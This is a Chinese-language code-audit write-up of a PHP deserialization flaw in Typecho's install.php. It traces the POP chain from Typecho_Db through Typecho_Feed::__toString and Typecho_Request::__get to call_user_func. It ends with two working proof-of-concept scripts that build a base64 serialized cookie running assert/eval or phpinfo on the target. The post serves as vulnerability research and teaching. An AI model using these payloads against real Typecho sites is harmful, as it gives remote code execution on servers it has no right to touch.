PHP审计之PHP反序列化漏洞


PHP审计之PHP反序列化漏洞

前言

一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serializeunserialize中的一些问题。

在此不做多的介绍。

魔术方法

在php的反序列化中会用到各种魔术方法

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,不仅仅是echo的时候,比如file_exists()判断也会触发
__invoke() //当脚本尝试将对象调用为函数时触发

代码审计

寻觅漏洞点

定位到漏洞代码install.php

 <?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                

<?php _e('安装失败!'); ?>

<?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?>

<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>

<?php _e('没有安装!'); ?>

<?php _e('您没有执行安装步骤,请您重新安装!'); ?>

<?php else : ?> <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?>

前面的几个判断比较简单,判断finish传参的值是否存在,然后判断/config.inc.php文件是否存在,按照惯例,在php安装完成后,会建立一个标识文件,进行识别程序是否安装,避免重复安装问题。

后面代码即走到这一步

 <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

接收Cookie中__typecho_config的值,进行base64解密后再反序列化的操作。将反序列化后的数据存到$config中,来到下面,清空cookie的值,然后实例化一个Typecho_Db对象,将$config['adapter']$config['prefix']进行存储到该对象中。

寻找POP链

这时候需要寻找一个pop链,在PHP中一般以__construct__destruct方法来做反序列化反序列化的第一个触发点,而在Java里面则是需要反序列化的该对象被重写后的readObject方法。

来看到Db.php文件

 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

这里的$adapterName变量并且了一串Typecho_Db_Adapter_字符串,假设$adapterName为一个对象的话,即可触发到__toString()方法。

寻找__toString方法

Feed.php __toString方法代码

 foreach ($links as $link) {
                $result .= '' . self::EOL;
            }

            $result .= '

' . self::EOL;

            $result .= $content . '';

        } else if (self::RSS2 == $this->_type) {
            ...
        }

self::RSS2 == $this->_type中比较是否对等,self::RSS2RSS 2.0字符串。

所以说需要走到这个判断条件下的逻辑在需要构造$this->_type这个数据。

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '' . self::EOL;
                $content .= '' . htmlspecialchars($item['title']) . '' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $item['link'] . '' . self::EOL;
                $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
                $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL;
                ...
            }

下面这里调用了$item['author']->screenName,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法.

寻找__get方法

/var/Typecho/Request.php

public function __get($key)
    {
        return $this->get($key);
    }

$key 传入的值为 scrrenName

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

$this->_params[$key]值存在,即将该值赋值给$value,然后判断该值不等于数组和小于0则数据不变。

然后调用$this->_applyFilter($value)

继续看到_applyFilter

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

关键地方在于上面代码中,判断$this->_filter是否存在并且遍历filter,假设上面传入的$value为数组则调用array_map($filter, $value),否则则调用call_user_func($filter, $value)

这两个都回调方法都可以进行代码代码执行。

调用链:

Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter

构造POP链

来看看需要构造的数据

  1. Typecho_Db__construct 方法$adapterName变量需要为一个对象,并且是能触发到一个点的对象。根据上面寻找到的是Typecho_Feed这个实例化对象拼接字符串的话,会触发__toString 。因此这个方法的参数第一个传递Typecho_Feed,而第二个参数传递typecho_

  2. 上面分析Feed这个点的时候,需要将self::RSS2设置为RSS 2.0,这个$this->_items[author]传入一个不存在或者是方法为私有属性的screenName方法的类。这样可以去自动去调用__get。在上面寻找到的是Typecho_Request,所以这里传入一个Typecho_Request实例化对象。进行自动调用__get

  3. Typecho_Request198行中$this->_params[$key]这个key的值是scrrenName,即为$this->_params[scrrenName],则这个值需要设置为一个需要执行的代码。

  4. 最后走到_applyFilter这里遍历了$this->_filter后,进行调用array_mapcall_user_func,并且分别传入$filter, $value。那么这里即需要设置一个$this->_filter为一个代码执行的方法。那么即可把整一个链给到代码执行给串联起来。

调试POP链

但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.

install.php的开始,调用了ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。(因此可选择回调函数用于处理输出结果信息)

该函数可以让你自由地控制脚本中数据的输出。比如可以用在输出静态化页面上。而且,当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误。

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

这里使用的是上面说的第二个办法。

<?php

	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('phpinfo();exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

另外一个方法,直接mark过来,POC如下:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

参考

[红日安全]代码审计Day11 - unserialize反序列化漏洞

Typecho 前台 getshell 漏洞分析

结尾

PHP的反序列化相当于Java的反序列化个人感觉PHP的反序列化比较灵活,可以结合各种魔术方法做联动。